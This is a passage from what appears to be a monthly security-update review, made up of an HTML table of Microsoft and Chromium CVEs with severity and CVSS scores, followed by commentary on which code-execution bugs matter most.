  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for 